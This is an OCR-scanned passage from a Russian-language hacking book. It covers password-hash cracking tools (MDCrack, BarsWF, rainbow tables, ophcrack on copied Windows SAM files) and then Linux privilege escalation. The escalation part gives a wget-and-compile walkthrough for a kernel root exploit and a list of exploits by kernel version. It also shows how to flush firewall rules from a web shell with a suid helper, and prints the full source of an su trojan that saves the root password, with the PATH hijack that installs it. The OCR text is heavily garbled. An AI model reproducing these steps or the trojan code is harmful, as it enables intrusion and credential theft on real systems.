time: " 2d 91» I9min 18s 110ns < 9.?9e/00tt p.. ¦ Cpu' Dynamic Current sise: candidate 6 /user salt 0 Candidate size limits: min 6 / max 6 Last candidate: gphjud Candidates/hashes tested: 898 404 < 8.98e+00b ) in 3min lis Average speed: ? 4 688 < 4.6?e+003 > h/s Allocated key apace: 9-80e+008 candidates, 0.09X done Estimated time: ~ 2d 10h 50s 904ms С 9.79e*008 pairs > remai « ^J 1 1 I v ' ¦'": ' ; JP о Рис. 0С.2. Программа MDCrack при запуске (хэш CISC0-MD5-I0S) (рис. 0С.2). В настоящее время для нее разработана графическая оболочка для Windows MDCrack GUI, но, скажу честно, работает она весьма «криво». В табл. 0С.1 представлены данные с сайта программы, на основании которых можно судить о ее производительности в тестовой системе (процессор 2х XEON 3,2 ГГц) для одиннадцати наиболее распространенных видов хэшей.
Взлом MD5 и некоторых других хэшей 119 Таблица 0С.1. Измерение производительности программы MDCrack 1.7 Тип хэша MD5 MD4 NTLM1 PIX PIX-U MD2 HMAC-MD5 HMAGMD4 FreeBSD IOS Apache Производительность (хэшей в секунду) 42 299 451 68 475 279 61 791 052 31 790 823 29 875 043 1 884 043 3 823 043 5 737 982 13 816 14 104 13 887 Давайте немного поработаем с программой MDCrack. Калькулятором хэшей, встроенным в программу Cain (http://oxid.it), я вычислил некоторые из распространенных хэшей для тестового пароля (аппа32). Сама программа Cain также обладает возможностью взлома различных типов паролей. Названия типов хэшей могут не всегда совпадать с теми, что приняты в программе MDCrack (табл. 0С.2). Таблица 0С.2. Типы хэшей в MDCrack Тип хэша MD2 MD4 MD5 SHA-1 RIPEMD-160 LM NT MySQL323 MySQLSHAl Cisco PIX VNC Hash Значение хэша BA3E63208CD676B6342DB186380A52F4 1DF2429BA49B184C2D8250901A553352 683793F77524D472EC4B0E0EF6BCCB0D CF13EDADF15BDD4D77CD1BB0330F0D524752D4B5 E975BF6D22DD8661B00DD67CC271C73B1CE95748 4FDAE8B1AF0E9141 59B5C037B1F8B0E80FDFC5D0194C6C51 1CE355F145921A36 5AB04000471463C611D0BBB6BE962347FC5A8FF2 oE5ukqotAxkFHBSg 23BB9762D065C07E Одна небольшая проблема — все хэши получены без использования «salt» и без префиксов, иногда характерных для них в конкретных системах. Для угадывания типа хэша можно использовать программу с опцией -guess: MDCrack-sse.exe --guess хэш Программа просто проверяет хэш на сходство с известными типами, и выдав заключение, завершает свою работу. Однако эта опция работает далеко не всегда
Z0 ОС. Локальный взлом паролей хорошо, часто предлагает довольно много возможных вариантов алгоритмов хэ- шей. Например, хэш MD4 (1DF2429BA49B184C2D8250901A553352) программа распознала как возможный MD5, MD2, MD4, PHP, MD4MD4, MD5MD5. Поэтому лучше указывать тип хэша в явном виде, обычно он известен хакеру из сведений об источнике его происхождения. Например, он знает, что в движке конкретного сайта пароли хэшируются алгоритмом MD5 последовательно дважды md5(md5), и тогда, конечно же, в качестве типа алгоритма выбирает вариант MD5MD5. Замечу, что многие современные движки форумов, блогов и генераторов сайтов используют (с целью затруднения взлома) все более изощренные комбинации хеш-функций в алгоритмах получения хэшей паролей, в ответ на что авторы многих брутфорсеров, в том числе MDCrack, реализуют взлом подобных «хитрых» комбинированных алгоритмов (см. документацию к программе). Наборы используемых символов для перебора задаются следующим образом (в параметре charset): О %[) — все английские большие буквы; О %1 — все английские маленькие буквы; О %Р — все символы пунктуации; О UN — все цифры; О %С — все управляющие символы. Можно в виде кодов добавлять и собственные символы, отсутствующие на стандартной англоязычной клавиатуре. Итак, составим командную строку для взлома данного хэша, приоритет задачи выберем нормальный. Смысл используемых параметров не должен вызывать особых вопросов, если все же они появились, запустите программу с опцией --help или ознакомьтесь с содержимым файла HELP.txt. MDCrack-sse.exe --algorithm=MD4 --minsize=l --maxsize=6 --charset=*L*N --prority=NORMAL --autosave=ON 1DF2429BA49B184C2D8250901A553352 На моей машине пароль anna32 нашелся очень быстро: за 1 минуту 18 секунд и 203 миллисекунды (рис. 0C.3). Программа позволяет брать не только один хэш из командной строки, но и несколько из файла. Настоящим прорывом в деле «взлома» хэшей стало использование вычислительных возможностей современных видеокарт (технология CUDA). При этом видеокарта может параллельно выполнять множество однотипных математических операций. Гордый титул самого быстрого в мире крэкера МЭ5-хэшей (World Fastest MD5 Cracker) носит программа BarsWF Михаила Сваричев- ского (http://3.14.by/ru/md5). У меня с видеокартой GeForce GT220 программа генерирует 153-155 миллионов хэшей в секунду, плюс на двух ядрах процессора — 35-38 хэшей миллионов в секунду. Общая производительность составляет в среднем 183-184 миллиона хэшей в секунду (рис. 0С.4).
Взлом MD5 и некоторых других хэшей 121 р^ Kystem ISystem Etasten IS ys tern rack: Running. HE < File creation date Ш7/24/2Ш11 12:32 File last modified 12/Й4/2011 23:29 Hash $ 1$ URu4$/Nw/GRY 9 UrNOfF40Jbt hfl1 Last candidate 69ygod Candidate пах size 6 Candidate/hash max pairs 0 Charset abcdefghijklmnopqrstuuijxy 2(312345 6789 Salt <pi*epended> <none> Salt <appended> , <none> Hash algorithm IOS All collisions no User Account <none> HMAC Message <none> Salt (none) > / Charset is: abcdefghijklmnopqrstuuuxyz0123456789 / Detected processors >: 2 x INTEL Itanium ! MMX ! SSE 5 SSE2 / Target bash: $l$URu4$/Nw/GRV9UrN0fF40JbthAl / >> Using IOS MD5 cores: maximal candidate/user salt/BSD salt size: 16/1 16/4 bytes llnfo llnfo i*~— / Press ESC for available runtime shortcuts <Ctrl~c to quit) / Thread tt0: >> Using Core 3 ,—_ ,—„ _ . _—_ m—„ ,—,—„. , _ Щ I вив нв ¦в HHl ¦R L*l ¦ Рис. 0С.З. Программа MDCrack при работе на двух потоках C:\WINDOWS\s- П X BarsUF MD5 bruteforcer оШ.8 by Soarус he иski Michail GPU0: 154.28 MHash/sec 154.28 MHash/sec http://3.14.by/en/md5 ht t p://3.14.by/ru/md5 : 21.89 MHash/sec : 14.71 MHash/sec : 36.60 MHash/sec Key: -30U~w Aog.Total: 183.79 MHash/sec Hash:lbOe9fd3086d9al59ald6cb86filb4ca Progress: 32.84 У. ETC 0 days 0 hours 26 min 24 sec Рис. 0С.4. Программа BarsWF в работе Программа BarsWF идеальна, если нужно взломать один хэш пароля в кратчайшее время, например, если этого хэша нет среди имеющихся в Интернете баз данных (наподобие http://md5list.ru). Для ее запуска достаточно задать командную строку с хэшем пароля и набором используемых символов, например: barswf_cuda_x32 -h Ib0e9fd3086d9al59ald6cb86fllb4ca -с ОаА~ Остальные опции программы являются необязательными. Альтернативой программы BarsWF, также использующей GPU (графическое процессорное устройство), является программа IGHASHGPU Ивана Голубева
122 9С. Локальный взлом паролей (http://golubev.com/hashgpu.htm). Она способна восстанавливать пароли из хэшей SHA1, MD5 и MD4. Данная программа работает как с видеокартами NVIDIA, поддерживающими технологию CUDA, так и с картами ATI RW 7X0. Программа, так же как и BarsWF, запускается из командной строки, и в дистрибутиве есть пример командного файла example.cmd: ighashgpu.exe /h:Cbeld6d5800ecle03a5f2a64882a0d41 /t:md5 /c:sd /max:7 pause Вид работающей программы иллюстрирует рис. 0С.5. щштштшяшшшшшшшшшшшш 1С: \Do с ume n 15 an d. ¦¦ S e 11 in gs \u s a r \I)e s Jkt о p\ igbas by pu v Ob 2 > i g has hy pu. e xe /h: t Ю0ес1еШа512аЬ4882аСМ41 /t:nd5 /c:sd /пах [*** Ml)4/MP5/SHfti GPU Password Recover; U0.62 *"* t*** For ATI RU 7Xfl cards and nUidia 'CUDfl' ones <G8MO *** §*** 2 009 I v an Go lube v , h 11 p: g о lube о . с о id * * * l*-*-* see "readne . bt'r»" for ..more- details ***** l*^^**HH^M-*-^t* ***-*-*^^ I**** Any' connerc ial use of this prpyran is strictly forbidden **й H*-**-*6»*-»«-*t->f-*l-M-«-«*r -K-MrM-»H**fr+t¦»+)HHHt*iHH«H(^HH*iHW**)W)»*#*)fM^1HHHHHHW'j(-)HHM bound 0 CAL device [Found 1 CUDA die vie [Starting brute-force Charset Len JC, 11 in passlen - 4, Max pass Kharset Cunicode > C> [abedefybijkWnopqrstuMWxy20l23456789] (Charset in HEX: t>l 62 63 CI &5 Ь6 67 68 69 Ьа 6b 6c 6d 6e 6f 7© 71 72 73 te 77 78 79 7a 30 36 37 3« J9 [Starting from [aa Wash type: MD5, Hash: <.beld6d580eecte®3aSF2ab4882a0d4J Device" 1Ш: [GeForce GT 2203 1Э60.ОД flhz 48. SP ¦Hardware monitoring enabled, threshold * temperature is 90°C. ICURPWD: nn82b4g DONE: 05-llx ETA: 6rt. 18s AURSPD: 149.3M .a beld6dS8 ben 74 75 7 X A; z Рис. 0С.5. Программа IGHASHGPU в действии На моей системе средняя скорость перебора хэшей у программы IGHASHGPU несколько ниже, чем у BarsWS (149 миллионов в секунду против 183), потому что IGHASHGPU задействует только ресурсы графических сопроцессоров (GPU), а центральный процессор (CPU) не используется. Это связано с тем, что при интенсивном одновременном использовании CPU и GPU компьютер сильно «подвисает» и почти не реагирует на движения мыши и нажата клавиш (именно так происходит при работе BarsWF). Программа IGHASHGPU также пока бесплатна. Поставляемый с программой тестовый пароль rogerl5 у меня нашелся за 4 минуты 38 секунд. Кроме того, Иваном Голубевым в 2010 году была разработана коммерческая программа Accent RAR Password Discovery для взлома паролей RAR-архивов с помощью GPU. В отличие от бесплатных версий, программа оснащена удобным графическим интерфейсом (рис. 0С.6). Популярны сейчас и так называемые радужные таблицы (Rainbow Tables) для подбора не только стандартных 128-битовых MD5-xaineft, но и некоторых других
Взлом MD5 и некоторых других хэшей 123 Accer.t RA4 Password Recc ЧзЛ гбГОРСГсогпрП^ \ !} I waTe^sl^ both cores of 5970 but Catalyst version must be 10.2 or 10,3. Catalysts from 10.4 to 10.6 are incompatible. Catalysts 10.7/10.8 and later ones may works but tests required. General suggestion for 5970 owners — test each GPU core separately to mate sure everything works as intended for every new version of Catalyst as this problem is not fully resolved by ATI yet. Data successfully loaded from status file. File: С:\TEMP\ACCENTRPfil 1234.rar Type: RAR 3.x Protection: RAR 3.x, 5HA1, 128-bit AE5 Total passwords to process: 2 560 000 Restarting from password #0 Current password: Current speed: Кшн srli 20 138 Estimated time: Average speed: lm5s 19 030 < Ivan Golubev Jltim.ite Editi. Рис. 0С.6. Окно программы Accent RAR Password Discovery (LM, NTLM, SHA1). Готовые таблицы и работающие с ними программы можно бесплатно загрузить из Интернета. Существенный недостаток таких таблиц — большие требования к месту на диске. Однако с распространением терабайтных жестких дисков этот недостаток стремительно уходит в прошлое. Впрочем, есть и второй недостаток, более серьезный: таблицы очень долго скачиваются из Интернета, даже с использованием торрентов. Для наших учебных целей я воспользовался сервисом http://www.freerainbowta- bles.com/en/tables/. С него можно загрузить радужные таблицы нескольких разновидностей (в зависимости от алгоритма хэширования, а также от максимальной длины пароля и от используемого в нем набора символов). Для удобства скачивания все таблицы разбиты на части и представлены в виде ссылок-торрентов. Объем всех таблиц, имеющихся на сайте, в настоящее время составляет 2 Тбайт. Поэтому владельцы сайта предлагают за умеренную плату выслать вам на заказ диски с требуемыми файлами в любую точку Мира. Таблицы на этом сайте сгенерированы в нестандартном формате, чтобы уменьшить занимаемое дисковое пространство (до 50 %!). Чтобы работать с ними, следует задействовать программу rcracki (сокращение от rcrack improved — улучшенный rcrack), которую можно загрузить с соответствующей страницы этого сайта. Чтобы использовать оригинальные таблицы rainbowcrack с другой программой, можно конвертировать таблицы с помощью утилиты rti2rto, которая также есть на странице загрузки данного сайта.
124 ОС. Локальный взлом паролей С помощь программы jiTorrent я за неделю скачал из Интернета 4 части таблицы md5_alpha-space_l-9 (в общей сложности 51 Гбайт, что для меня по размеру было приемлемо). Каждая часть представляет собой отдельную папку, которая содержит в себе множество более мелких таблиц. Однако я «немного» просчитался, предположив, что обозначение alpha — это все буквы. Оказывается, все буквы в названиях таблиц кодируются как mi xal pha (то есть смесь букв), маленькие буквы — 1 oweral pha, а то, что я скачал, оказалось таблицей для паролей только из больших букв (от 1 до 9 символов). Цифры обозначаются как numeric, пробел — как space. To есть с практической точки зрения для использования с программой представляет наибольший интерес файл md5_mixalpha-numeric-space#l-8_60000, однако «весит» он целых 380 Гбайт, что даже для моего винчестера в 500 Гбайт многовато, да и время скачивания будет просто огромным. Чтобы все-таки продемонстрировать вам работу с радужными таблицами, я сгенерировал хэш от слова «NIMDADMIN» и запустил программу следующей командой (согласно прилагаемой инструкции): rcracki_mt -h 5c70d66dcf05b4159beb64c5590al224 -t 4 -о save.txt F:\md5_alpha- space_l-9_0 Программа последовательно проанализировала некоторое количество малых таблиц и, проработав чуть более двух минут, выдала результат (рис. 0С.7). На самом деле время взлома может быть в несколько раз бблыним, просто пароль оказался удачным. Но, с другой стороны, такая скорость при длине пароля 9 букв для брутфорсера пока просто недостижима. 1с ryp tan a lysis tine: U.3 »d5 „alpha-spacettl -9 _O_10000x6?108864„distrrtgen f p П i ] „11 - rt i: reading index... 63324921 bytes read, disk access tine: 0.69 i reading table... 536870912 bytes read, disk access tine: 6.61 verifying the file... ok searching for 1 hash... plaintext of 5c70d66dcf05b4159beb64c5590al224 is NIMDADMIN с ry pt an a lys is t ine : 0.39 s plaintext found: total disk access tine: total cryptanalysis tine 1 of 1 <100.00И> 126.08 s 5.58 s total pre-calculation total chain walk step: total false alarn: tine: 17.89 s : 49985001 3809 walk step due to false alarn r>c70d66dcf05b4159beb64c5590al224 F:\rc rack i nt 0.6.5.2 _w in 3 2 ис > NIMDADMIN hex:4e494d4441444d494e .? 4e ¦J Л.1 ] Рис. 0С.7. Результат работы программы rcracki_mt, найденный пароль — NIMDADMIN
Взлом хэшей паролей ОС Windows 125 Взлом хэшей паролей ОС Windows Некоторые читатели первого издания были удивлены тому, что так мало внимания в книге было уделено операционной системе Windows. Во втором издании мы, хотя бы частично, идем навстречу их пожеланиям. При взломе Windows- паролей у каждого есть свои предпочтения. Кто-то пользуется платными программами, кто-то любит бесплатные. Не претендуя на полноту изложения, я расскажу вам о современной программе ophcrack, которую продолжает развивать коллектив ее разработчиков. Официальный сайт программы (http://ophcrack. sourceforge.net/) выглядит весьма лаконично и стильно (рис. 0С.8). Краткая аннотация на сайте сообщает нам, что Ophcrack является бесплатной программой взлома Windows-паролей на базе радужных таблиц. Реализация Cfe ophcrack Home | Project рлде | Download | Tallies | News | Support Ophcrack is a free Windows password cracker based on rainbow tables. It is a very efficient implementation of rainbow tables done by the inventors of the method. It cornes with a Graphical User Interface and runs on multiple platforms. Runs on Windows, Linux/Unix, Mac OS X,... Cracks LM and NTLM hashes. Free tables available for Windows XP and Vista. Brute-force module for simple passwords Audit mode and CSV export. » Real-time graphs to analyze the passwords. LiveCD available to simplify the cracking. » Loads hashes from encrypted SAM recovered from a Windows partition, Vista included. Free and open source software (GPL). Down! Download ophcrack Download ophcrack LiveCD I OBJECTiF SECURITE sourceforge Рис. 0С.8. Сайт Ophcrack
126 ОС. Локальный взлом паролей радужных таблиц является очень эффективной, выполнена она самими изобретателями этого метода. Программа имеет графический пользовательский интерфейс и работает на многих платформах (в их числе Linux). Программа «ломает» LM- и NTLM-хэши. Интересной недавней новинкой от разработчиков Ophcrack стало появление загрузочных дисков (LiveCD) с программой (разумеется, не требующей инсталляции). Существует 2 типа таких дисков — для Windows ХР и для Windows Vista (последний работает также с Windows 7). Диски доступны в виде iso-образов. Имея физический доступ к компьютеру жертвы (а им может стать и ваш собственный компьютер, если вы вдруг почему-то забыли пароль пользователя), вы загружаетесь с данного диска и с помощью программы Ophcrack не только извлекаете файлы с именами и паролями пользователей Windows, но и тут же проводите подбор паролей. Такие диски могут стать незаменимым инструментом системного администратора или администратора информационной безопасности, Load Tables Crack Help Progress Statistics Preferences User LM Hash NT Hash LM Pwd 1 About LM Pwd 2 Table Directory Status Progress Preload: waiting Brute force: waiting Pwd found: 0/0 Time elapsed: Рис. 0С.9. Окно программы Ophcrack под Windows ХР в начале работы
Взлом хэшей паролей ОС Windows 127 проводящего аудит надежности паролей сотрудников, даже при их отсутствии на рабочем месте. Диски уже содержат соответствующие радужные таблицы именно для той версии Windows, под которую они «заточены». Тогда как при скачивании исполняемого файла, инсталлируемого под Windows, таблицы надо загружать отдельно, зато можно скачать любые из таблиц и на компьютере, работающем под Windows XP, например, производить взлом парольных файлов, «добытых» на компьютере с установленной ОС Windows Vista или Seven. Часть таблиц, например, для немецкого языка, являются платными. Но нам они особо не требуются. Я скачал с сайта инсталлятор Ophcrack и установил программу на свой компьютер. Окно программы Ophcrack под Windows отличается простым, красивым и интуитивно понятным интерфейсом (рис. 0С.9). Бесплатные таблицы для Vista и ХР были скачаны еще ранее. По договоренности со своим знакомым я скопировал на свою флешку с его компьютера с ОС Windows 7 файлы парольной системы SAM и SYSTEM из каталога C:\Windows\system32\ config. Для этого мне, конечно, пришлось загрузиться с диска с Linux. Можно было также использовать Back Track 4, а можно обойтись и Kasperky Rescue Disk, если загрузить в текстовом режиме и уметь немножко пользоваться программой Midnight Commander (она похожа на FAR, Volkov и прочие «комман- деры» для DOS и Windows, только интерфейс беднее). Через меню Load > Encypted SAM я указал местоположение папки с парольными файлами, и программа Ophcrack их успешно обработала, загрузив имена пользователей в непонятной кодировке и NT-хэши их паролей. После чего я подключил таблицы для Vista, указав расположение папки с ними. Затем щелкнул на кнопке Crack. Фактически, таблицы в данном случае не понадобились, потому что Ophcrack сразу после загрузки распознала пустые пароли (empty), а мое знание Windows Vista и Windows 7 подсказало, это есть учетные записи Администратор и Гость (символы, конечно, однозначному декодированию не поддавались, зато их количество было ровно таким, как в этих логинах). Пароль же основного пользователя, вопреки моим ожиданиям, взломался простым брутфорсом (Ophcrack предварительно очень быстро проводит брутфорс паролей длиной от 1 до 4 символов, а потом уже задействует радужные таблицы). Да, пароль пользователя, как и все гениальное ©, оказался на удивление простым (рис. 0С.1О). Теперь еще раз про загрузочные диски программы Ophcrack — надо ли вас учить, или сами справитесь и в качестве домашнего задания проведете аудит паролей на собственном компьютере? © ПРИМЕЧАНИЕ Для записи iso-образов дисков, скачанных с сайта http://ophcrack.sourceforge. net/, вполне подойдет программа типа Nero Burning ROM.
128 ОС. Локальный взлом паролей Load Progress Delete Statistics Щ?& \J & User ! D4<8=8AB@0B>@ ;d>abl :DOtS>60 Save Tables Preferences LM Hash Help NT Hash 31 d6cf eOd 16ae931 b73c59d7e0c089c0 31d6cfe0dl6ae931b73c59d7e0c089c0 69943c5e63b4d2c 104dbbcc 15138b72b NTPwd empty empty 1 Table - 41 iVista free # tableO # tablel + table2 4 table3 Directory iG:/tables_vista_f... Status 11% in RAM 43% in RAM on disk on disk on disk Progress m Preload: done Brute force: done 3/3 Time elapsed: Oh Om 3s Рис. ОС. 10. Окно программы Ophcrack после взлома паролей Локальный подбор паролей на компьютере жертвы Иногда хакеру приходится проводить локальный подбор пароля на том компьютере, на котором он хочет получить права root. На мой взгляд, такой вариант почти безнадежен, но бывает, что иных возможностей просто нет. Можно написать скрипт с использованием команды ssh -Т или su. Если хакер работает с правами nobody, то проблема заключается в отсутствии псевдотерминала. Бывалые хакеры рекомендуют задействовать интерпретатор expect, в сценариях которого включена поддержка псевдотерминала. Надо установить expect на взламываемой машине (что без прав суперпользователя — само по себе непростая задача), а затем написать сценарий bruteforce.exp, реализующий брутфорс посредством команды su.
Локальный подбор паролей на компьютере жертвы 129 После запуска такого сценария в фоновом режиме (для этого в конце команды указывается символ &) хакеру остается ждать, пока в выходном файле окажется правильный пароль. Чтобы противодействовать такому перебору паролей, на многих современных системах добавлена временная задержка на выполнение команды su.
Повышение привилегий При наличии доступа к шеллу на компьютере с * nix-системой каждый уважающий себя хакер попытается повысить свои привилегии до уровня суперпользователя (root). По-английски это называется «privilege escalation», или «privilege elevation» (эскалация, или повышение, привилегий). Для повышения привилегий требуется эксплойт, эксплуатирующий (использующий) какую-либо известную уязвимость. В Linux чаще всего применяются эксплойты, работающие с ядром (kernel) системы. Их надо подбирать под конкретную версию ядра, при этом брэнд производителя Linux (например, Ubuntu, Fedora или Red Hat) обычно не имеет значения. Мы рассмотрим повышение привилегий на примере системы Damn Vulnerable Linux. Для дальнейшей работы мы используем эксплойт с сайта exploit-db.com. Широко известный хакерский сайт MilwOrm, где можно было найти множество эксплой- тов, в 2010 году закрылся. В Damn Vulnerable Linux в каталоге /pentest/exploits/ milwOrm имеется целый архив эксплойтов с сайта MilwOrm, но он датирован 2007 годом, и интересующего нас эксплойта в нем нет. Эксплойты в архиве распределены по платформам (каталог platforms), по типам (локальные — каталог local или удаленные — каталог remote), а также по номерам портов, используемых данной службой (каталог ports). Эксплойты на сайте exploit-db.com имеют ту же нумерацию, что была на сайте MilwOrm. Откройте окно консоли и переключитесь на непривилегированного пользователя nobody (командой su nobody), как показано на рис. 0D.1, после чего перейдите в каталог /tmp (командой cd /tmp). В этом каталоге разрешен доступ на запись всем пользователям. Командой uname -а выведите сведения о машине. Как видите, операционная система Linux имеет версию ядра 2.6.20. Значит, нам надо искать эксплойт для данной версии. Ищем в Google по словам «Linux kernel 2.6 local root exploit» (Линукс ядро 2.6 локальный эксплойт для получения прав root). Этот эксплойт может также называться «Linux kernel 2.6 Local Privilege Escalation». Сайт exploit-db.com хорош тем, что на нем можно найти работающие версии эксплойтов, в то время как на других сайтах они могут быть умышленно подпорченными, чтобы начинающие хакеры, не имеющие достаточных знаний о языках программирования, не могли их использовать. 0D
Повышение привилегий 131 Рис. 0D.1. Локальное повышение привилегий при помощи эксплойта vmsplice от qaaz Среди всех эксплойтов на данном сайте находим подходящий — это Linux kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit (он расположен по адресу www.exploit- db.com/exploits/5092/). Написан эксплойт в 2008 году неким хакером по кличке qaaz. Замысловатое название файла jessica_bieLnaked_in_my_bed (Джессика Биль голая в моей постели) не несет особой смысловой нагрузки, так что можно заменить его более коротким. По расширению файла .с понятно, что эксплойт написан на языке С. На данном этапе можно либо перенести текст эксплойта в редактор Kate и сохранить его в каталоге /tmp под именем ех.с, либо, как в реальной жизни, загрузить эксплойт прямо с сайта следующей командой консоли: wget -0 /tmp/ex.c http://www.exploit-db.com/download/5092 Внимательно читаем пояснения к эксплойту. В них обычно указываются опции компиляции и примеры использования. Часто эксплойты ядра (kernel exploits) требуют компиляции с опцией -static, иногда к ней добавляются другие опции. В Linux стандартным компилятором языка С является gcc (GNU С Compiler). Изредка используется другой компилятор — ее (С Compiler). В нашем случае давайте просто откомпилируем эксплойт с указанными опциями: gcc -static -W -n -o ex ех.с Здесь после опции -о указывается имя выходного файла (у нас — ех). Имя входного файла (ех.с) указывается в конце. Как видите (см. рис. 0D.1), компиляция прошла успешно, никаких предупреждений (warning) и сообщений об ошибках (error) не появилось. После запуска нашего эксплойта (командой . /ех) становится понятно, что он успешно отработал: знак $ в приглашении системы сменяется знаком #, что характерно для суперпользователя. Команда i d подтверждает, что мы теперь работаем как пользователь root (uid=0). То есть мы достигли главной цели всех хакеров — получение максимальных привилегий в системе. Поздравляю!
132 0D. Повышение привилегий Приведу список названий эксплойтов, подходящих для разных версий ядра Linux. 2.4.17 — newlocal, kmod, uselib24; 2.4.18 — brk, brk2, newlocal, kmod; 2.4.19 — brk, brk2, newlocal, kmod; 2.4.20 — ptrace, kmod, ptrace-kmod, brk, brk2; 2.4.21 — brk, brk2, ptrace, ptrace-kmod; 2.4.22 — brk, brk2, ptrace, ptrace-kmod; 2.4.22-10-loginx; 2.4.23 — mremap_pte; 2.4.24 — mremap_pte, uselib24; 2.4.25-1-uselib24; 2.4.27 - uselib24; 2.6.2 — mremap_pte, krad, hOOlyshit; 2.6.5-2.6.8 - krad, krad2, hOOlyshit; 2.6.8-5 - krad2, hOOlyshit; 2.6.9 - krad, krad2, hOOlyshit; 2.6.9-34 - rOOt, hOOlyshit; 2.6.10 - krad, krad2, hOOlyshit; 2.6.13-2.6.16 - raptor, raptor2, hOllyshit, prctl; 2.6.17-2.6.24.1-vmsplice; 2.6-2.6.19 (32bit) - ip_append_data() 0x82-CVE-2009-2698; 2.6.30 - +/SELinux/RHEL5 Test Kernel Local Root Exploit Oday; 2.6.31 — perf_counter (x64); 2.6.1-2.6.32-rc5-Pipe.c. Когда у хакера есть только веб-шелл и нет возможности использовать бэкконнект (поскольку исходящие соединения тоже фильтруются файрволом), то с помощью локального эксплойта можно получить права root через веб-шелл, а затем отключить файрвол. После этого можно соединиться с сервером напрямую по протоколу SSH или использовать бэкконект-шелл. Сейчас мы разберем, как это сделать. Прежде чем заливать эксплойт на сервер, нужно найти в его коде строку, выполняющую команду /bi n/sh, и заменить эту команду запуска шелла строкой system ("chmod 4755 /tmp/hack"); В этом случае после получения прав root эксплойтом команда chmod 4755 установит бит sui d (это делает первая цифра — 4) для программы /tmp/hack и в даль-
Повышение привилегий 133 нейшем будет исполняться с правами суперпользователя. Затем нужно создать файл hack.c с примерно таким содержимым: #include <stdio.h> #include <stdlib.h> int mainO { FILE *f1le; char *cmd; getuid(O); getgid(O); file - fopen('7tmp/cmd\"r"); cmd - fgets (cmd.240.file); fclose(file); system(cmd); } По известной хакерской традиции я здесь привожу не вполне работоспособный код программы, а лишь набросок для иллюстрации идеи. Кто знает, тот исправит ошибки. Хакеры говорят, что портят исходный код намеренно, чтобы не смыслящие в языках программирования новички не копировали готовые решения. Эта программа берет команду из файла/tmp/cmd и выполняет ее, а поскольку для программы /tmp/hack установлен бит suid, команда выполнится от имени суперпользователя. Далее хакер заливает ее текст на сервер в каталог /tmp и компилирует с созданием бинарного файла /tmp/hack. В результате после компиляции и успешного запуска видоизмененного эксплойта на том же сервере у него будет полноценный рутовый шелл, выполняющий команду, прописанную в файле /tmp/cmd. Почему мы не включили выполнение команды из файла в код самого эксплойта? Потому что многие эксплойты работают нестабильно, то есть не каждый раз дают права root, а некоторые вообще позволяют получить эти права только один раз (как эксплойт do_brk). Когда эксплойт отработает успешно, хакер, чтобы узнать правила файрвола, записывает в /tmp/cmd строку iptables -t nat -nvL Затем, ознакомившись с правилами, он отменяет их командой iptables -F После этого уже ничто не мешает ему напрямую подключиться к компьютеру. Далее он может установить поддельную версию программы iptables с сокрытием своих правил (выводящую по запросу предыдущие правила) или просто загрузить в веб-каталог PHP-шелл и установить у него бит suid, чтобы шелл исполнялся с правами root. Часто бывает, что новейший эксплойт — так называемый эксплойт нулевого дня (О-day) покупается (или выменивается) хакером в откомпилированном виде, а это означает, что изменить его код не удастся. Но и на этот случай у хакеров есть действенный подход. Обычно эксплойт вызывает оболочку /bin/sh, непосредственно обращаясь к ней. Напишем сценарий для запуска эксплойта:
134 0D. Повышение привилегий #!/bin/sh alias "/bin/sh" "chmod 4755 /tmp/evil" Далее идет запуск самого эксплойта. Тем самым вместо /bin/sh с правами root запускается команда chmod. В качестве «домашнего задания» можете попытаться получить права root на системе Back Track 4 (там использована более новая версия ядра — 2.6.30). А потом сравните свои результаты с представленными в конце главы. Но что делать хакеру, если ни один из доступных эксплойтов не дает прав rootf Предположим, что у хакера есть логин и пароль некоего непривилегированногс пользователя. Тогда, просмотрев файл .bash_history, можно проверить, не запускал ли этот пользователь команду su (switch user), переключаясь на суперпользователя. В этом случае хакеру можно попробовать подменить команду si своей троянской программой, которая перехватит пароль. Для этого в домашнем каталоге пользователя создается скрытый каталог mkdir .elm Можно задействовать имеющийся каталог, например .ssh, нужно только не забыть изменить название при применении эксплойта. Дальше хакеру нужнс отредактировать (или создать) файл .bashrc, включив в него следующую строку PATH=$HOME/.elm:$PATH Эта строка добавляет в начало пути поиска исполняемых файлов скрытый ката лог .elm. Теперь, если пользователь введет команду su без указания полного пут* (что обычно и происходит), будет исполняться команда su из каталога хакера а не из каталога /bin, как это было ранее. Троянскую программу su.c, которая была написана хакером FA-Q в далеком 1999 году, можно скачать с адреса http:/> www.packetstormsecurity.org/trojans/index7.htmL На всякий случай приведу ее текст полностью: /* su trojan ribbed - by FA-Q * werd to lwn for his help. * mkdir .elm * cc -o ~/.elm/su su.c * edit .bash_profile or .bashrc * add PATH=$HOME/.elm:$PATH */ #include <stdio.h> #include <stdlib.h> #define SU_PASS "/tmp/.rewt" main (int argc, char *argv[]) { char *key; char buf[24]; FILE *fd; key = (char *)getpass ("Password:"); fd = fopen(SU_PASS."w"); fprintf(fd. "pass: *s\n", key);
Повышение привилегий 135 fclose(fd); printf ("su: incorrect password\n"); sprintf(buf, "rm Us". argv[0]); system(buf); exit (1); } Откомпилировать эту программу можно командой ее -о ~/.elm/su su.c Если имя каталога другое, замените его. Как работает эта программа? Она спрашивает у пользователя пароль и сохраняет его в файле /tmp/.rewt, а затем выводит сообщение, что пароль неверный, удаляет себя и завершает работу. При этом пользователь обычно думает, что при наборе пароля нечаянно нажал не ту клавишу, и вновь выполняет команду su. Поскольку троянская программа уже себя удалила, выполняется нормальная программа su. А хакеру остается только узнать пароль, заглянув в файл /tmp/.rewt. Тем не менее, как я выяснил, эта программа содержит ошибку, из-за которой файл программы не удаляется. Однако ошибку можно легко исправить. Вот строка с ошибкой: sprintf(buf. "rm %s", argv[0]); Вместо нее нужно ввести примерно такую строку: sprintf(buf. "rm /home/user/.elm/Us", argv[0]); To есть нужно указать в команде rm полный путь к троянскому файлу su. В некоторых системах (таких, как DVL) сообщение «su: incorrect password» нужно заменить другим, стандартным для этой системы, например: «Sorry». Тем не менее при работе этой программы в DVL у меня были определенные проблемы, в то же время в системе ВаскТгаск 4 программа отработала нормально (рис. 0D.2). Я заранее создал пользователя uri и его домашний каталог (home/uri). После всех необходимых приготовлений и запуска программы su введенный мною пароль пользователя root сохранился в скрытом файле в каталоге /tmp. Троянская программа удалила себя, но при повторном запуске su возникла проблема — интерпретатор bash искал файл su почему-то только в каталоге /home/uri/.elm, и не нашел. Для хакера это, конечно, провал, а для наших учебных целей вполне нормально. Пришлось запустить su с указанием полного пути: /bin/su. Кстати, постоянный запуск таких программ, как su, часто подменяемых хакерами, с 